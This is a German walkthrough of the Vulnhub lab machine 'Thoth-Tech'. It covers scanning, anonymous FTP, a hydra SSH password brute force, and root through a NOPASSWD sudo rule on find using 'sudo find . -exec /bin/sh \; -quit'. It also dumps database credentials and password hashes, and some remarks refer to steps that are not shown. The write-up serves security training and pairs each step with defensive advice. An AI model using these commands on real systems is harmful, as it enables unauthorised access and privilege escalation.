Thoth-Tech - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

netdiscover
vi
nmap
grep
nikto
wget
cat
gobuster
ftp
dirsearch
dirb
hydra
ssh
id
sudo
getcap
uname
ls
cd
mysql
find

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# netdiscover -r 192.168.2.1/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 21 Captured ARP Req/Rep packets, from 6 hosts.   Total size: 1260
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.2.124   08:00:27:14:3b:c4      2     120  PCS Systemtechnik GmbH

Analyse: Der Befehl `netdiscover -r 192.168.2.1/24` sucht im angegebenen IP-Bereich (192.168.2.1 bis 192.168.2.254) aktiv nach Hosts, indem er ARP-Anfragen sendet. Er listet die gefundenen IP-Adressen, MAC-Adressen und, wenn möglich, den Hersteller auf.

Bewertung: Ein Host wurde unter der IP 192.168.2.124 gefunden. Die MAC-Adresse (08:00:27:...) und der Hersteller "PCS Systemtechnik GmbH" identifizieren das Ziel eindeutig als VirtualBox-Maschine.

Empfehlung (Pentester): Die Ziel-IP 192.168.2.124 ist identifiziert und sollte für detailliertere Scans (Nmap) verwendet werden.
Empfehlung (Admin): Tools wie Netdiscover nutzen ARP-Anfragen, deren Sichtbarkeit durch Netzwerksegmentierung oder ARP-Filtering/Monitoring begrenzt werden kann.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt:
  192.168.2.124    thoth.vuln

Analyse: Die lokale `/etc/hosts`-Datei wird mit `vi` bearbeitet, um der IP-Adresse 192.168.2.124 den Hostnamen `thoth.vuln` zuzuordnen.

Bewertung: Dies vereinfacht die Ansprache des Ziels über einen Namen anstelle der IP-Adresse, was besonders bei Webanwendungen nützlich sein kann.

Empfehlung (Pentester): Standardvorgehen zur Verbesserung der Handhabung während des Tests.
Empfehlung (Admin): Diese Änderung auf dem Angreifersystem hat keine Auswirkungen auf das Zielsystem.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.124 -p- | grep open
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Analyse: Ein Nmap-Scan (`-sS -sC -T5 -AO -p-`) wird durchgeführt, um offene Ports, Dienste, Versionen und das OS auf 192.168.2.124 zu identifizieren. Die Ausgabe wird mit `grep open` gefiltert.

Bewertung: Die schnelle Übersicht zeigt drei offene Ports: 21 (FTP - vsftpd 3.0.3), 22 (SSH - OpenSSH 8.2p1) und 80 (HTTP - Apache 2.4.41).

Empfehlung (Pentester): Alle drei Dienste (FTP, SSH, HTTP) sind potenzielle Angriffsvektoren und sollten näher untersucht werden. Die vollständige Nmap-Ausgabe ist für weitere Details (insbesondere Skript-Ergebnisse) erforderlich.
Empfehlung (Admin): Stellen Sie sicher, dass alle laufenden Dienste notwendig, aktuell und sicher konfiguriert sind.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.124 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 16:52 CEST
Nmap scan report for thoth.vuln (192.168.2.124)
Host is up (0.000092s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             110 Jul 02  2021 note.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.113 # (Interessanterweise wird hier eine andere Client-IP angezeigt)
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 acd27b758067f29d95675299c82fab7b (RSA)
|   256 78ca8673b6870608eb7a9cabcf9d8916 (ECDSA)
|_  256 9349d78c1c077e8e79912bbf2d0d346b (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:14:3B:C4 (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 4.15 - 5.6 (99%), Linux 5.0 - 5.3 (98%), Linux 5.4 (97%), Linux 2.6.32 (96%), Li....
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.09 ms thoth.vuln (192.168.2.124)

Analyse: Die vollständige Ausgabe des vorherigen Nmap-Scans wird angezeigt.

Bewertung: Die detaillierte Ausgabe liefert entscheidende Informationen: * **FTP (Port 21):** Das NSE-Skript `ftp-anon` bestätigt, dass **anonymer FTP-Login erlaubt** ist. Im Root-Verzeichnis des FTP-Servers liegt eine Datei namens `note.txt`. Dies ist ein sehr wichtiger Fund. * **SSH (Port 22):** Zeigt die Host-Schlüssel. Version 8.2p1 ist relativ aktuell. * **HTTP (Port 80):** Standard Apache-Seite. Version 2.4.41 ist etwas veraltet. * **OS Detection:** Schätzt Linux Kernel 4.15 - 5.6.

Empfehlung (Pentester): Der anonyme FTP-Zugriff ist der primäre Angriffspunkt. Loggen Sie sich anonym per FTP ein und laden Sie die `note.txt`-Datei herunter. Analysieren Sie deren Inhalt auf Hinweise oder Zugangsdaten. Untersuchen Sie parallel den Webserver (Port 80) mit Nikto und Directory-Bruteforcing.
Empfehlung (Admin): Deaktivieren Sie *unbedingt* anonymen FTP-Zugriff, wenn er nicht explizit benötigt wird. Überprüfen Sie regelmäßig die Inhalte von FTP-Verzeichnissen auf sensible Daten. Halten Sie Apache und SSH aktuell.

Web Enumeration

Parallel zur Untersuchung des FTP-Servers wird der Webserver auf Port 80 enumeriert.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.124
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.124
+ Target Hostname:    192.168.2.124
+ Target Port:        80
+ Start Time:         2023-06-05 16:52:08 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 5c5d81ce6522e, mtime: gzip.
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ RFC-1918 /wordpress/wp-admin/: IP address found in the 'location' header. The IP is "192.168.1.8".
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /test.php: This might be interesting.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag.
+ /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information.
+ /wordpress/wp-login.php: Wordpress login found.
+ 8103 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2023-06-05 16:52:32 (GMT2) (24 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: `nikto -h 192.168.2.124` scannt den Apache-Webserver auf Port 80.

Bewertung: Nikto findet mehrere relevante Punkte: * **Veralteter Apache (2.4.41).** * **Fehlende Security Header.** * **WordPress-Installation:** Unter `/wordpress/` wird eine WordPress-Seite gefunden. Nikto identifiziert das Login (`wp-login.php`), Versionshinweise (`wp-links-opml.php`), das Akismet-Plugin und einen browsbaren Upload-Ordner (`/wp-content/uploads/`). Die interne IP 192.168.1.8 im Location-Header bei `/wp-admin/` könnte auf eine interne Netzwerkkonfiguration hinweisen. * **`/test.php`:** Eine potenziell interessante PHP-Datei.

Empfehlung (Pentester): Untersuchen Sie `/test.php`. Enumerieren Sie die WordPress-Installation weiter (Benutzer, Plugins, Themes, Version) z.B. mit `wpscan`. Prüfen Sie den `/wp-content/uploads/` Ordner auf interessante Dateien. Der Fokus sollte aber zunächst auf der Analyse der `note.txt` aus dem FTP-Scan liegen.
Empfehlung (Admin): Halten Sie Apache und WordPress (inkl. Plugins/Themes) aktuell. Deaktivieren Sie Directory Indexing. Entfernen Sie unnötige Testdateien wie `test.php`. Implementieren Sie fehlende Security Header.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://thoth.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
http://thoth.vuln/index.html           (Status: 200) [Size: 10918]
http://thoth.vuln/wordpress            (Status: 301) [Size: 312] [--> http://thoth.vuln/wordpress/]
http://thoth.vuln/test.php             (Status: 200) [Size: 7]
===============================================================

Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf `http://thoth.vuln` zu bruteforcen, unter Verwendung einer Medium-Wortliste und zahlreicher Dateiendungen.

Bewertung: Gobuster bestätigt die Funde `/index.html`, `/wordpress/` und `/test.php`. Die Datei `/test.php` hat eine sehr kleine Größe (7 Bytes), was auf wenig Inhalt hindeutet. Keine signifikanten neuen Entdeckungen.

Empfehlung (Pentester): Prüfen Sie den Inhalt von `/test.php` (z.B. mit `curl http://thoth.vuln/test.php`). Fahren Sie mit der Analyse der `note.txt` und der weiteren Enumeration von WordPress fort.
Empfehlung (Admin): Entfernen Sie unnötige Testdateien.

┌──(root㉿cyber)-[~] └─# dirsearch -u http://thoth.vuln -w /usr/share/seclists/Discovery/Web-Content/common.txt -e ".php,.txt,.html,.py,.pub,.js,.wav,.mp4,.mp3,.jpg"
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, txt, html, py, pub, js, wav, mp4, mp3, jpg | HTTP method: GET | Threads: 30
Wordlist size: 4715
[...]
Target: http://thoth.vuln/

[17:26:51] Starting:
[17:26:56] 200 -   11KB - /index.html
[17:27:01] 403 -  275B  - /server-status
[17:27:04] 301 -  312B  - /wordpress  ->  http://thoth.vuln/wordpress/

Task Completed

Analyse: `dirsearch` wird genutzt, um Verzeichnisse und Dateien auf `http://thoth.vuln` zu finden. Es verwendet eine andere Wortliste (`common.txt`) und spezifische Endungen.

Bewertung: Bestätigt `/index.html` und `/wordpress/`. Findet zusätzlich `/server-status` (Zugriff verboten - 403). Findet `/test.php` nicht, möglicherweise weil es nicht in `common.txt` enthalten ist.

Empfehlung (Pentester): Die Verwendung verschiedener Tools (gobuster, dirsearch, dirb) mit unterschiedlichen Wortlisten kann hilfreich sein, um eine breitere Abdeckung zu erzielen.
Empfehlung (Admin): Beschränken Sie den Zugriff auf `/server-status`.

┌──(root㉿cyber)-[~] └─# dirsearch -u http://thoth.vuln/wordpress -w /usr/share/seclists/Discovery/Web-Content/common.txt -e ".php,.txt,.html,.py,.pub,.js,.wav,.mp4,.mp3,.jpg"
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )
[...]
Target: http://thoth.vuln/wordpress/

[17:27:25] Starting:
[17:27:30] 200 -   22KB - /wordpress/index.php
[17:27:38] 301 -  321B  - /wordpress/wp-admin  ->  http://thoth.vuln/wordpress/wp-admin/
[17:27:38] 301 -  323B  - /wordpress/wp-content  ->  http://thoth.vuln/wordpress/wp-content/
[17:27:38] 301 -  324B  - /wordpress/wp-includes  ->  http://thoth.vuln/wordpress/wp-includes/
[17:27:38] 405 -   42B  - /wordpress/xmlrpc.php

Task Completed

Analyse: `dirsearch` wird nun spezifisch auf das `/wordpress`-Verzeichnis angewendet.

Bewertung: Identifiziert die Standard-WordPress-Verzeichnisse (`wp-admin`, `wp-content`, `wp-includes`) und die `xmlrpc.php`-Datei (oft ein Ziel für Brute-Force oder DDoS, hier aber mit Status 405 - Method Not Allowed).

Empfehlung (Pentester): Konzentrieren Sie sich auf die Enumeration von `wp-content` (insbesondere `uploads`) und `wp-admin` (Login).
Empfehlung (Admin): Deaktivieren Sie `xmlrpc.php`, wenn es nicht benötigt wird.

┌──(root㉿cyber)-[~] └─# dirb http://thoth.vuln/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
[...]
---- Scanning URL: http://thoth.vuln/ ----
+ http://thoth.vuln/index.html (CODE:200|SIZE:10918)
+ http://thoth.vuln/server-status (CODE:403|SIZE:275)
==> DIRECTORY: http://thoth.vuln/wordpress/
[...]
---- Entering directory: http://thoth.vuln/wordpress/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)
[...]
-----------------
END_TIME: Mon Jun  5 17:30:09 2023
DOWNLOADED: 36896 - FOUND: 13

Analyse: `dirb` wird eingesetzt, um Verzeichnisse auf `http://thoth.vuln` zu finden.

Bewertung: Bestätigt die bisherigen Funde (`index.html`, `/server-status`, `/wordpress/`). Wichtig ist die erneute Bestätigung, dass `/wordpress/wp-content/uploads/` listbar ist (`Directory IS LISTABLE`).

Empfehlung (Pentester): Überprüfen Sie den Inhalt von `/wordpress/wp-content/uploads/` manuell im Browser.
Empfehlung (Admin): Deaktivieren Sie Directory Indexing.

FTP Enumeration

Untersuchung des anonymen FTP-Zugangs.

┌──(root㉿cyber)-[~] └─# wget -r ftp://anonymous:anonymous@192.168.2.124
--2023-06-05 16:53:28--  ftp://anonymous:*password*@192.168.2.124/
           => »192.168.2.124/.listing«
Verbindungsaufbau zu 192.168.2.124:21 … verbunden.
Anmelden als anonymous … Angemeldet!
==> SYST ... fertig.    ==> PWD ... fertig.
==> TYPE I ... fertig.  ==> CWD nicht notwendig.
==> PASV ... fertig.    ==> LIST ... fertig.
# (...Rekursiver Download der Dateien, inkl. note.txt...)

Analyse: Der Befehl `wget -r ftp://anonymous:anonymous@192.168.2.124` versucht, rekursiv (`-r`) alle Dateien vom FTP-Server herunterzuladen, indem er sich anonym anmeldet.

Bewertung: Der anonyme Login funktioniert. `wget` lädt die auf dem FTP-Server vorhandene(n) Datei(en) herunter, insbesondere die zuvor von Nmap identifizierte `note.txt`.

Empfehlung (Pentester): Analysieren Sie die heruntergeladenen Dateien, insbesondere `note.txt`.
Empfehlung (Admin): Anonymen FTP-Zugriff deaktivieren.

┌──(root㉿cyber)-[~/192.168.2.124] # (Verzeichnis nach wget-Download) └─# cat note.txt
Dear pwnlab,

My name is jake. Your password is very weak and easily crackable,
I think change your password.

Analyse: Der Inhalt der heruntergeladenen Datei `note.txt` wird angezeigt.

Bewertung: Kritischer Hinweis! Die Notiz richtet sich an einen Benutzer namens `pwnlab` und erwähnt dessen schwaches, leicht knackbares Passwort. Dies ist ein starker Hinweis darauf, dass ein Benutzer `pwnlab` auf dem System existiert und dass ein Brute-Force-Angriff gegen diesen Benutzer wahrscheinlich erfolgreich sein wird.

Empfehlung (Pentester): Versuchen Sie einen Passwort-Brute-Force-Angriff gegen den Benutzer `pwnlab` am SSH-Dienst (Port 22) mit einer gängigen Passwortliste wie `rockyou.txt`.
Empfehlung (Admin): Schulen Sie Benutzer darin, starke Passwörter zu verwenden und keine Hinweise auf Benutzernamen oder Passwortschwächen in allgemein zugänglichen Dateien zu hinterlassen.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.124
Connected to 192.168.2.124.
220 (vsFTPd 3.0.3)
Name (192.168.2.124:cyber): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put war.txt
local: war.txt remote: war.txt
229 Entering Extended Passive Mode (|||22508|)
550 Permission denied.
ftp> cd /home
550 Failed to change directory.

Analyse: Es wird versucht, sich erneut anonym per FTP anzumelden und eine Datei (`war.txt`) hochzuladen sowie das Verzeichnis zu wechseln.

Bewertung: Bestätigt, dass der anonyme Benutzer keine Schreibrechte (`put ... 550 Permission denied`) hat und das Verzeichnis nicht wechseln kann (`cd /home ... 550 Failed to change directory`). Der FTP-Server bietet außer dem Lesen von `note.txt` keinen weiteren Angriffsvektor.

Empfehlung (Pentester): Fokussieren Sie sich auf den SSH-Brute-Force gegen `pwnlab`, basierend auf dem Hinweis in `note.txt`.
Empfehlung (Admin): Stellen Sie sicher, dass anonyme Benutzer keine Schreibrechte haben und auf ihr zugewiesenes Verzeichnis beschränkt sind.

Initial Access

Basierend auf dem Hinweis in `note.txt` wird ein Brute-Force-Angriff auf den SSH-Account `pwnlab` gestartet.

┌──(root㉿cyber)-[~/192.168.2.124] └─# hydra -l pwnlab -P /usr/share/wordlists/rockyou.txt ssh://thoth.vuln:22 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak [...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-05 17:34:35
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[...]
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344400 login tries (l:1/p:14344400), ~224132 tries per task
[DATA] attacking ssh://thoth.vuln:22/
[22][ssh] host: thoth.vuln   login: pwnlab   password: babygirl1
1 of 1 target successfully completed, 1 valid password found
[...]

Analyse: Das Tool `hydra` wird verwendet, um einen Brute-Force-Angriff gegen den SSH-Dienst (`ssh://thoth.vuln:22`) durchzuführen. * `-l pwnlab`: Gibt den Zielbenutzernamen an. * `-P /usr/share/wordlists/rockyou.txt`: Gibt die zu verwendende Passwortliste an. * `-t 64`: Setzt die Anzahl der parallelen Versuche (Tasks) auf 64 (die Warnung empfiehlt einen niedrigeren Wert für SSH).

Bewertung: Erfolg! Hydra findet das korrekte Passwort für den Benutzer `pwnlab`: `babygirl1`. Dies bestätigt den Hinweis aus der `note.txt` und liefert die Zugangsdaten für den Initial Access.

Empfehlung (Pentester): Loggen Sie sich sofort mit den gefundenen Zugangsdaten (`pwnlab`:`babygirl1`) per SSH auf dem Zielsystem ein.
Empfehlung (Admin): Erzwingen Sie starke Passwörter und implementieren Sie Schutzmechanismen gegen Brute-Force-Angriffe wie Fail2Ban oder Account-Sperrungen. Verwenden Sie nach Möglichkeit SSH-Schlüsselauthentifizierung.

┌──(root㉿cyber)-[~/192.168.2.124] └─# ssh pwnlab@thoth-tech
The authenticity of host 'thoth-tech (192.168.2.124)' can't be established.
ED25519 key fingerprint is SHA256:92r1ZGJ7wYMcpzTK4CtNCLO1ib7UJVa+pSM1K3y/guc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'thoth-tech' (ED25519) to the list of known hosts.
pwnlab@thoth-tech's password: # (Eingabe: babygirl1)
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-150-generic x86_64)
[...]
Last login: Fri Jul  2 09:14:12 2021 from 192.168.1.11
pwnlab@thothtech:~$

Analyse: Es wird versucht, sich per SSH als Benutzer `pwnlab` am Zielsystem anzumelden (hier wird der Hostname `thoth-tech` verwendet, der wahrscheinlich der NetBIOS/System-Hostname ist). Nach Bestätigung des Host-Schlüssels wird das mit Hydra gefundene Passwort `babygirl1` eingegeben.

Bewertung: Der Login ist erfolgreich. Der Pentester hat nun Shell-Zugriff als Benutzer `pwnlab`. Der Initial Access ist abgeschlossen.

Empfehlung (Pentester): Beginnen Sie mit der Enumeration für die Privilegieneskalation. Führen Sie `id` und `sudo -l` aus, prüfen Sie die Umgebung, suchen Sie nach interessanten Dateien und Konfigurationen.
Empfehlung (Admin): Überwachen Sie SSH-Logins auf verdächtige Aktivitäten. Erzwingen Sie starke Passwörter.

Privilege Escalation

pwnlab@thothtech:~$ id
uid=1001(pwnlab) gid=1001(pwnlab) groups=1001(pwnlab)
pwnlab@thothtech:~$ sudo -l
Matching Defaults entries for pwnlab on thothtech:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwnlab may run the following commands on thothtech:
    (root) NOPASSWD: /usr/bin/find

Analyse: Der `id`-Befehl bestätigt die Benutzer- und Gruppen-IDs. Der Befehl `sudo -l` listet die `sudo`-Berechtigungen für den Benutzer `pwnlab` auf.

Bewertung: Kritischer Fund für Privilegieneskalation! Der Benutzer `pwnlab` darf den Befehl `/usr/bin/find` als `root` und **ohne Passwort** (`NOPASSWD`) ausführen. Der `find`-Befehl verfügt über die Option `-exec`, mit der beliebige andere Befehle ausgeführt werden können.

Empfehlung (Pentester): Nutzen Sie diese `sudo`-Regel sofort aus, um Root-Rechte zu erlangen. Suchen Sie auf GTFOBins nach der Methode für `find` mit `sudo`. Der übliche Befehl ist `sudo find . -exec /bin/sh \; -quit` (oder eine Variation davon).
Empfehlung (Admin): Gewähren Sie `sudo`-Rechte äußerst restriktiv. Vermeiden Sie die Vergabe von Rechten für Befehle, die Shell-Escapes oder die Ausführung anderer Befehle ermöglichen (wie `find`, Editoren, Interpreter usw.), insbesondere mit `NOPASSWD`. Überprüfen Sie alle `sudo`-Regeln sorgfältig.

pwnlab@thothtech:~$ getcap -r / 2>/dev/null
/snap/core20/1891/usr/bin/ping = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
pwnlab@thothtech:~$ uname -a
Linux thothtech 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Analyse: * `getcap -r / 2>/dev/null`: Sucht nach Dateien mit gesetzten Linux Capabilities. * `uname -a`: Zeigt detaillierte Kernel- und Systeminformationen an.

Bewertung: `getcap` findet nur Standard-Capabilities für Netzwerk-Tools (`ping`, `traceroute`, `mtr`, `gst-ptp-helper`), die normalerweise keine direkten Eskalationspfade bieten. `uname -a` zeigt eine relativ aktuelle Kernel-Version (5.4.0-150 vom Mai 2023), was Kernel-Exploits unwahrscheinlich macht. Dies bestärkt die Annahme, dass der `sudo find`-Weg der vorgesehene Eskalationspfad ist.

Empfehlung (Pentester): Ignorieren Sie Capabilities und Kernel-Exploits vorerst und konzentrieren Sie sich auf die Ausnutzung der `sudo find`-Berechtigung.
Empfehlung (Admin): Halten Sie den Kernel aktuell. Vergeben Sie Capabilities nur, wenn unbedingt nötig.

pwnlab@thothtech:~$ ls -la
total 32
drwxr-xr-x 3 pwnlab pwnlab 4096 Jul  2  2021 .
drwxr-xr-x 4 root   root   4096 Jun 29  2021 ..
-rw-rw-r-- 1 pwnlab pwnlab  107 Jul  2  2021 .bash_history
-rw-r--r-- 1 pwnlab pwnlab  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 pwnlab pwnlab 3771 Feb 25  2020 .bashrc
drwx------ 2 pwnlab pwnlab 4096 Jul  2  2021 .cache
-rw-r--r-- 1 pwnlab pwnlab  807 Feb 25  2020 .profile
-rw-r--r-- 1 root   root     33 Jul  2  2021 user.txt
pwnlab@thothtech:~$ cat .bash_history
cd root/
sudo nano /etc/vsftpd.conf
sudo su
su thoth_tech
ls
id
sudo -l
sudo find . -exec /bin/sh \; -quit # Wichtiger Hinweis!
pwnlab@thothtech:~$ cat user.txt
5ec2a44a73e7b259c6b0abc174291359

Analyse: Der Inhalt des Home-Verzeichnisses von `pwnlab` wird aufgelistet. Die `.bash_history` und die `user.txt`-Datei werden angezeigt. * `ls -la`: Zeigt die Dateien im Home-Verzeichnis. Die `user.txt` gehört `root`, ist aber für `pwnlab` lesbar (`-rw-r--r--`). * `cat .bash_history`: Zeigt die Befehlshistorie des Benutzers. Sie enthält den exakten Befehl `sudo find . -exec /bin/sh \; -quit`, der zur Privilegieneskalation verwendet werden kann. * `cat user.txt`: Gibt die User-Flag aus.

Bewertung: Die User-Flag (`5ec2a44a73e7b259c6b0abc174291359`) wurde gefunden und ist lesbar. Die `.bash_history` bestätigt den Eskalationsweg über `sudo find` und liefert den genauen Befehl.

Empfehlung (Pentester): Die User-Flag ist gesichert. Führen Sie den Befehl `sudo find . -exec /bin/sh \; -quit` aus, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Stellen Sie sicher, dass sensible Flags oder Dateien die korrekten Berechtigungen haben (obwohl die User-Flag hier absichtlich lesbar sein könnte). Die Bash-History kann sensible Informationen enthalten; Benutzer sollten geschult werden, Passwörter nicht in Befehlen zu verwenden.

pwnlab@thothtech:/var/backups$ cd ../www/html/
pwnlab@thothtech:/var/www/html$ # (Wechsel ins Wordpress-Verzeichnis impliziert)
pwnlab@thothtech:/var/www/html/wordpress$ cat wp-config.php
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'thoth_tech' );

/** MySQL database password */
define( 'DB_PASSWORD', 'thoth_tech222' );

Analyse: Der Benutzer wechselt in das WordPress-Verzeichnis (`/var/www/html/wordpress`) und liest erneut die `wp-config.php`-Datei aus.

Bewertung: Bestätigt die Datenbank-Zugangsdaten: Benutzer `thoth_tech`, Passwort `thoth_tech222`. Dies sind andere Zugangsdaten als die, die zuvor für den Benutzer `support` in der Datenbank gefunden wurden.

Empfehlung (Pentester): Diese Zugangsdaten könnten nützlich sein, falls der `sudo find`-Weg nicht funktioniert oder wenn man den Datenbankbenutzer `thoth_tech` für andere Zwecke nutzen möchte (z.B. Passwort-Wiederverwendung prüfen).
Empfehlung (Admin): Sichern Sie die `wp-config.php`-Datei mit restriktiven Berechtigungen.

pwnlab@thothtech:/var/www/html/wordpress$ mysql -u thoth_tech -p
Enter password: # (Eingabe: thoth_tech222)
Welcome to the MariaDB monitor. [...]
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress          |
+--------------------+
MariaDB [(none)]> use wordpress;
Database changed
MariaDB [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
MariaDB [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+--------------------+------------------------------+---------------------+-----------------------------------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email         | user_url                     | user_registered     | user_activation_key                           | user_status | display_name |
+----+------------+------------------------------------+---------------+--------------------+------------------------------+---------------------+-----------------------------------------------+-------------+--------------+
|  1 | thoth_tech | $P$B.p9jTsW7iDJcihTlayPlTxoeOFYnS. | thoth_tech    | empyt@google.com   | http://192.168.1.8/wordpress | 2021-06-28 19:16:38 |                                               |           0 | thoth_tech   |
|  2 | pwnlab     | $P$B.lwg.HblpsLDPJ1YrlguOjw5e3c3j1 | pwnlab        | pwnlab@hotmail.com |                              | 2021-07-02 08:53:33 | 1625216013:$P$BJpy7q6Rva5Jy/t8WHu22Zm72YkRkl. |           0 | pwnlab       |
+----+------------+------------------------------------+---------------+--------------------+------------------------------+---------------------+-----------------------------------------------+-------------+--------------+

Analyse: Mit den Zugangsdaten aus `wp-config.php` wird sich an der MariaDB-Datenbank angemeldet. Die `wordpress`-Datenbank wird ausgewählt und die `wp_users`-Tabelle abgefragt.

Bewertung: Der Datenbankzugriff ist erfolgreich. Die Tabelle zeigt zwei WordPress-Benutzer: `thoth_tech` und `pwnlab`, beide mit ihren gehashten Passwörtern (phpass/MD5-Format). Dies bestätigt die Existenz dieser WordPress-Konten, liefert aber keine direkten Klartextpasswörter für die Systemanmeldung.

Empfehlung (Pentester): Sie können versuchen, die WordPress-Hashes offline zu knacken, aber der Fokus sollte weiterhin auf der `sudo find`-Eskalation liegen. Die Datenbankinformationen sind für den aktuellen Eskalationspfad weniger relevant.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter für Datenbankbenutzer und WordPress-Administratoren. Sichern Sie die Datenbank und die `wp-config.php` ab.

pwnlab@thothtech:/var/www/html/wordpress$ find / -type f -perm -4000 -ls 2>/dev/null
     1262     51 -rwsr-xr--   1 root     systemd-resolve    51344 Oct 25  2022 /snap/core20/1891/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     1634    463 -rwsr-xr-x   1 root     root              473576 Mar 30  2022 /snap/core20/1891/usr/lib/openssh/ssh-keysign
  1056339     52 -rwsr-xr--   1 root     messagebus         51344 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1065488    464 -rwsr-xr-x   1 root     root              473576 Mar  9  2021 /usr/lib/openssh/ssh-keysign
  1054505     24 -rwsr-xr-x   1 root     root               22840 Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1
